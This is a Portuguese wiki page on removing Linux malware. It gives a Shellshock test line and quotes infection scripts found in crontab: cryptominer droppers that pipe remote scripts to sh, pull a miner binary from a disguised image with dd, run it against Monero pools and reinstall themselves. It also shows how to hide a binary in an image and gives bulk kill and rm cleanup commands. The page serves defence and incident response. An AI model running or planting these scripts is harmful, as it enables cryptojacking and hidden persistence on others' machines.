Mitigar problemas com malware em Linux

De Wiki Hackstore

Problema de vulnerabilidade

Teste se seu interpretador de comandos está vulnerável:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Caso esteja atualize a versão do bash.


Malware implementado

Malware que causa problemas nas interfaces de rede

Caso encontre no arquivo /etc/crontab alguma linha parecida com essa:

*/3 * * * * root /etc/cron.hourly/gcc.sh

com o seguinte conteúdo:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6


Também é possível encontrar esse tipo de linha no /etc/crontab:

*/3 * * * * root        /etc/cron.hourly/cron.sh

com o seguinte conteúdo:

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug


Adicione essa linha no cron para matar os processos maliciosos automaticamente enquanto vc remove os binários maliciosos:

*/2 * * * * root pstree -ap | grep -E -- '-[a-z]{10},' | cut -d, -f2 | xargs kill -9 2>/dev/null

Remova todos os binários encontrados com nomes estranhos, e remova os binários criados pelo malware. Ex:

Verifique se não existem init's reais:

chkconfig --list|grep '1:on   2:on   3:on   4:on   5:on'

Caso sejam só malwares:

for init in $(chkconfig --list|grep '1:on   2:on   3:on   4:on   5:on'|cut -d" " -f1);do grep bin /etc/init.d/$init;done|grep usr|xargs rm
for init in $(chkconfig --list|grep '1:on   2:on   3:on   4:on   5:on'|cut -d" " -f1);do chkconfig --del $init;rm /etc/init.d/$init -v;done



Segue análises desse tipo de malware:

http://ccie.lt/hacking/kaip-nulauze-mano-kompa


Binário realizando mineração de cripto moedas

Caso encontre no seu /etc/crontab uma linha desse tipo:

*/60 * * * * curl https://cdn.rawgit.com/crontab-r/a/master/2 | sh

Com o seguinte conteúdo:

#!/bin/sh
ps -fe|grep 43QPwXMFy6Qfs2ecLYMTBbPimDW39aRL9Uvaw2yHzuGbGVSGb4vjuTQh61ndqiRCNAdfSN5MuwTaJ2PzEcs2k1bK8b4YPGL |grep -v grep
if [ $? -ne 0 ]
then
echo "start process....."
curl -o /tmp/test https://ooo.0o0.ooo/2016/11/27/583a97938c4f9.png
dd if=/tmp/test skip=7664 bs=1 of=/tmp/minerd
chmod +x /tmp/minerd
nohup /tmp/minerd -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:3333 -u 43QPwXMFy6Qfs2ecLYMTBbPimDW39aRL9Uvaw2yHzuGbGVSGb4vjuTQh61ndqiRCNAdfSN5MuwTaJ2PzEcs2k1bK8b4YPGL -p x &
else
echo "runing....."
fi
crontab -r
(crontab -l;printf '*/60 * * * * curl https://cdn.rawgit.com/crontab-r/a/master/2 | sh \n')|crontab -


Também é possível encontrar esta linha no /etc/crontab:

*/60 * * * * curl -fsSL https://www.dropbox.com/s/3111eiqn06tpw85/new.sh | sh

Com o seguinte conteúdo:

#!/bin/sh
kill -s 9 `ps -aux | grep minerd | awk '{print $2}'`
ps -ef|grep new_life|grep -v grep
if [ $? -ne 0 ]
then
echo "start"
curl -o /tmp/new https://ooo.0o0.ooo/2016/11/27/583a97938c4f9.png
dd if=/tmp/new skip=7664 bs=1 of=/tmp/new_life
chmod +x /tmp/new_life
nohup /tmp/new_life -a cryptonight -o stratum+tcp://pool.minexmr.com:4444 -u 43A5i2jEWHa8oDAzgfNEmxDpetWFkBvaARhkg3s3PHaCXhPLkBCVzJgLFckngakNii2X6mBFUi8piPg8ztqrmRE3KsdoBNQ -p x &
else
echo "runing"


Ou caso encontre em algum cron de usuário, remova imediatamente e mate o processo que esteja rodando. Tal binário é executado com finalidade de mineração de cripto moedas.


Explicação técnica sobre o arquivo binário oculto em uma imagem

Basicamente é possível esconder qualquer coisa em um arquivo de imagem concatenando arquivos usando o bom e velho cat, e extraí-lo posteriormente usando o dd. Ex:


$  cat /tmp/teste.png /bin/sh > /tmp/teste2.png
$  ls -l /tmp/teste.png 
-rw-rw-r--. 1 user users 13504 Jun 19 16:06 /tmp/teste.png

$  dd if=/tmp/teste2.png of=/dev/stdout bs=1 skip=13504 | md5sum - 
8d2cb939e978304090a77dce2b8d6c91  -
1136656+0 records in
1136656+0 records out
1136656 bytes (1.1 MB, 1.1 MiB) copied, 2.28492 s, 497 kB/s

$  md5sum /bin/sh
8d2cb939e978304090a77dce2b8d6c91  /bin/sh

Existem outras formas também de esconder um binário ou qualquer coisa dentro de um arquivo de imagem por exemplo:

https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-schrenk.pdf


Análise de binários

https://wiki.hackstore.com.br/An%C3%A1lise_de_bin%C3%A1rios_em_Linux